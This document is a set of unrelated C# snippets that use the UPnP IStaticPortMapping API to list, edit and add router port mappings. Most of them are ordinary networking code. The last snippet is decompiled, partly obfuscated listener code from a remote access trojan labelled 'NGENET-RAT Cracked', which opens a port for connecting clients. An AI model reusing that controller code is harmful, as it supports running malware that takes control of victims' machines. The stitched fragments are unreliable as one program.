private static void PrintPortMapping(IStaticPortMapping portMapping) { Console.WriteLine("| {0,16} | {1,3} | {2,15} | {3,5} | {4,15} | {5,5} | {6,3} |", portMapping.Description, portMapping.Protocol, portMapping.ExternalIPAddress, portMapping.ExternalPort, portMapping.InternalClient, portMapping.InternalPort, (portMapping.Enabled ? "(X)" : "( )")); //Console.WriteLine(portMapping.Description + " " + portMapping.Protocol + " " + portMapping.ExternalIPAddress + " " + portMapping.ExternalPort + " " + portMapping.InternalClient // + " " + portMapping.InternalPort + " " + (portMapping.Enabled ? "(X)" : "( )")); }
private static void CheckMapping(int port, IStaticPortMapping mapping) { var localIP = GetLocalIPAddress(); if (mapping.Description != MappingDescription) mapping.EditDescription(MappingDescription); if (mapping.InternalPort != port) mapping.EditInternalPort(port); if (mapping.InternalClient != localIP) mapping.EditInternalClient(localIP); if (!mapping.Enabled) mapping.Enable(true); }
public IEnumerable <MappingInfo> Get() { UPnPnat = new UPnPNAT(); var portMappings = new List <MappingInfo>(); var count = Mappings.Count; var enumerator = Mappings.GetEnumerator(); enumerator.Reset(); for (int i = 0; i < count; i++) { IStaticPortMapping mapping = null; try { if (enumerator.MoveNext()) { mapping = (IStaticPortMapping)enumerator.Current; } } catch { //ignore } if (mapping != null) { var info = new MappingInfo { Description = mapping.Description, ExternalIPAddress = mapping.ExternalIPAddress, ExternalPort = mapping.ExternalPort, InternalClient = mapping.InternalClient, InternalPort = mapping.InternalPort, Protocol = mapping.Protocol, }; portMappings.Add(info); } } var portMappingInfos = new MappingInfo[portMappings.Count]; portMappings.CopyTo(portMappingInfos); return(portMappingInfos); }
//const string paramExternalPort = "ext"; //const string paramProtocol = "proto"; //const string paramAddress = "ip"; //const string paramPort = "port"; //const string paramDisabled = "disabled"; //const string paramEnabled = "enabled"; //const string paramDescription = "desc"; //private static void ParseParameters(string[] args) //{ // for(int i=1; i<args.Length; i++) // { // } //} private static void ListMappings(UPnPNAT upnpNAT, string[] args) { if (args.Length > 1) { FailureExit(HRESULT.E_INVALIDARG, "Parameters not yet implemented."); } IStaticPortMappingCollection staticMappings = upnpNAT.StaticPortMappingCollection; if (staticMappings == null) { FailureExit(HRESULT.S_FALSE, "Could not retrieve static port mappings from NAT router. This can happen if it does not support UPnP (or it is not enabled)."); } Console.Write("Found " + staticMappings.Count + " port mappings"); if (staticMappings.Count > 0) { Console.WriteLine(":"); Console.WriteLine(); PrintPortMappingHeader(); IEnumerator enumerat0r = staticMappings.GetEnumerator(); while (enumerat0r.MoveNext()) { IStaticPortMapping portMapping = enumerat0r.Current as IStaticPortMapping; if (portMapping == null) { FailureExit(HRESULT.E_UNEXPECTED, "The port mappings just got updated or changed otherwise. Please run me again to get the current results."); } PrintPortMapping(portMapping); } PrintPortMappingFooter(); } else { Console.WriteLine("."); } Console.WriteLine(); }
private static void ListMappings(UPnPNAT upnpNAT, string[] args) { if (args.Length > 1) { FailureExit(HRESULT.E_INVALIDARG, "Parameters not yet implemented."); } var portMapp0r = retrievePortMapp0rOrExit(upnpNAT); Console.Write("Found " + portMapp0r.Count + " port mappings"); if (portMapp0r.Count > 0) { Console.WriteLine(":"); Console.WriteLine(); PrintPortMappingHeader(); IEnumerator enumerat0r = portMapp0r.GetEnumerator(); while (enumerat0r.MoveNext()) { IStaticPortMapping portMapping = enumerat0r.Current as IStaticPortMapping; if (portMapping == null) { FailureExit(HRESULT.E_UNEXPECTED, "The port mappings just got updated or changed otherwise. Please run me again to get the current results."); } PrintPortMapping(portMapping); } PrintPortMappingFooter(); } else { Console.WriteLine("."); } Console.WriteLine(); Console.WriteLine(); }
private UPnPPort convert(IStaticPortMapping mapping) { UPnPPort port = new UPnPPort((UInt16)mapping.InternalPort, PortType.TCP, ""); port.Description = mapping.Description; port.ExternalPort = (UInt16)mapping.ExternalPort; port.InternalPort = (UInt16)mapping.InternalPort; switch (mapping.Protocol.ToUpper()) { case "TCP": port.Type = PortType.TCP; break; case "UDP": port.Type = PortType.UDP; break; default: port.Type = PortType.BOTH; break; } return(port); }
/// <summary> /// Creates a new object. /// </summary> /// <param name="staticPortMapping"></param> public PortMapping(IStaticPortMapping staticPortMapping) { _StaticPortMapping = staticPortMapping; }
/// <summary> /// Initializes the NATUPnP service. /// </summary> internal void InitializeNATUPnPService() { try { if (NetworkManager.Instance.InternalConfiguration.NetworkPeering.NATUPnPSettings.IsEnabled) { List <TCPServer> servers = NetworkManager.Instance.InternalLocalhost.TCPServerCollection.TCPServers; if (servers.Count > 0) { IPAddress[] addresses = Dns.GetHostAddresses(Dns.GetHostName()); if (addresses != null) { IPAddress defAddress = null; if (addresses.Length == 1) { defAddress = addresses[0]; } else if (!string.IsNullOrEmpty(NetworkManager.Instance.InternalConfiguration.NetworkPeering.NATUPnPSettings.ProbeAddress)) { // probe string probeAddress = NetworkManager.Instance.InternalConfiguration.NetworkPeering.NATUPnPSettings.ProbeAddress; string[] nameAndPort = probeAddress.Split(new string[] { ":" }, StringSplitOptions.RemoveEmptyEntries); string hostName = string.Empty; int port = 80; hostName = nameAndPort[0]; if (nameAndPort.Length > 1) { port = int.Parse(nameAndPort[1]); } System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient(hostName, port); try { defAddress = ((IPEndPoint)client.Client.LocalEndPoint).Address; } finally { client.Close(); } } if (defAddress != null) { // megnézem van-e nyitott TCP szerver ezen az interface-en TCPServer selectedServer = null; foreach (TCPServer server in servers) { if (server.EndPoint.Host.Equals(IPAddress.Any.ToString()) || server.EndPoint.Host.Equals(IPAddress.IPv6Any.ToString()) || server.EndPoint.Host.Equals(defAddress.ToString())) { selectedServer = server; break; } } if (selectedServer != null) { // erre a TCP szerverre és a megadott interface-en keresztül lehet portot nyitni using (UPnPManager manager = new UPnPManager()) { manager.Initialize(); bool exist = false; foreach (IStaticPortMapping mapping in manager.GetStaticPortMappings()) { if (mapping.ExternalPort == selectedServer.EndPoint.Port && mapping.InternalClient.Equals(selectedServer.EndPoint.Host)) { exist = true; if (!mapping.Enabled) { mapping.Enable(true); } break; } } if (!exist) { if (LOGGER.IsDebugEnabled) { LOGGER.Debug(string.Format("CONNECTION_MANAGER, opening UPnP port {0} to local interface: {1}", selectedServer.EndPoint.Port, selectedServer.EndPoint.Host)); } IStaticPortMapping mapping = manager.AddNATUPnPPortMapping(selectedServer.EndPoint.Port, ProtocolEnum.TCP, selectedServer.EndPoint.Port, defAddress, true, AppDomain.CurrentDomain.SetupInformation.ApplicationName); if (mapping == null) { if (LOGGER.IsErrorEnabled) { LOGGER.Error("CONNECTION_MANAGER, failed to add UPnP port. Is there any UPnP service exist?"); } } else { exist = false; foreach (NATGateway gw in NetworkManager.Instance.InternalLocalhost.NATGatewayCollection.NATGateways) { if (gw.EndPoint.Host.Equals(mapping.ExternalIPAddress) && gw.EndPoint.Port.Equals(mapping.ExternalPort)) { // már van ilyen szerverem exist = true; break; } } if (!exist) { NetworkManager.Instance.InternalLocalhost.NATGatewayCollection.NATGateways.Add(new NATGateway(new AddressEndPoint(mapping.ExternalIPAddress, mapping.ExternalPort))); } } } } } } } } } } catch (Exception ex) { if (LOGGER.IsErrorEnabled) { LOGGER.Error("CONNECTION_MANAGER, failed to initialize NATUPnP service.", ex); } } }
// Token: 0x06000996 RID: 2454 RVA: 0x000534A4 File Offset: 0x000516A4 public SocketServer(int port) { Class2.zP7eVJHzSiX6G(); base..ctor(); this.Disconnect2 = new List <Client>(); this.IT = new Client[101]; this.OFF = false; this.Online2 = new Collection(); this.SPL = "[endof]"; this.upnpnat = new UPnPNATClass(); this.mappings = this.upnpnat.StaticPortMappingCollection; this.h = Dns.GetHostByName(Dns.GetHostName()); this.internalip = this.h.AddressList.GetValue(0).ToString(); try { this.S = new TcpListener(port); this.S.Server.SendTimeout = -1; this.S.Server.ReceiveTimeout = -1; this.S.Start(); Thread thread = new Thread(new ThreadStart(this.WL), 1); thread.Start(); ListViewItem listViewItem = new ListViewItem(); listViewItem.Text = Conversions.ToString(port); listViewItem.ImageIndex = 6; if (Operators.CompareString(ima.UPNP, "YES", false) == 0) { try { string bstrProtocol = "TCP"; string value = Conversions.ToString(port); this.mappings.Remove(Conversions.ToInteger(value), bstrProtocol); } catch (Exception expr_12E) { ProjectData.SetProjectError(expr_12E); ProjectData.ClearProjectError(); } try { this.mappings.Add(port, "TCP", port, this.internalip, true, "NGENET-RAT Cracked"); try { IEnumerator enumerator = this.mappings.GetEnumerator(); while (enumerator.MoveNext()) { IStaticPortMapping staticPortMapping = (IStaticPortMapping)enumerator.Current; string[] items = new string[] { staticPortMapping.Protocol, Conversions.ToString(staticPortMapping.ExternalPort), staticPortMapping.Description }; new ListViewItem(items); } } finally { IEnumerator enumerator; if (enumerator is IDisposable) { (enumerator as IDisposable).Dispose(); } } listViewItem.SubItems.Add("Listening"); listViewItem.SubItems.Add(ima.UPNP); } catch (Exception expr_1FE) { ProjectData.SetProjectError(expr_1FE); listViewItem.SubItems.Add("UPnP doesn't seem to be enabled on your router"); listViewItem.SubItems.Add("NO"); ProjectData.ClearProjectError(); } MyProject.Forms.Form1.Lv1.Items.Add(listViewItem); MyProject.Forms.Form1.Lv1.FX(); } else { listViewItem.SubItems.Add("Listening"); listViewItem.SubItems.Add("NO"); MyProject.Forms.Form1.Lv1.Items.Add(listViewItem); MyProject.Forms.Form1.Lv1.FX(); } } catch (Exception expr_2B5) { ProjectData.SetProjectError(expr_2B5); Exception ex = expr_2B5; ListViewItem listViewItem2 = new ListViewItem(); listViewItem2.Text = Conversions.ToString(port); listViewItem2.SubItems.Add(ex.Message); listViewItem2.SubItems.Add("NO"); listViewItem2.ImageIndex = 5; MyProject.Forms.Form1.Lv1.Items.Add(listViewItem2); MyProject.Forms.Form1.Lv1.FX(); ProjectData.ClearProjectError(); } }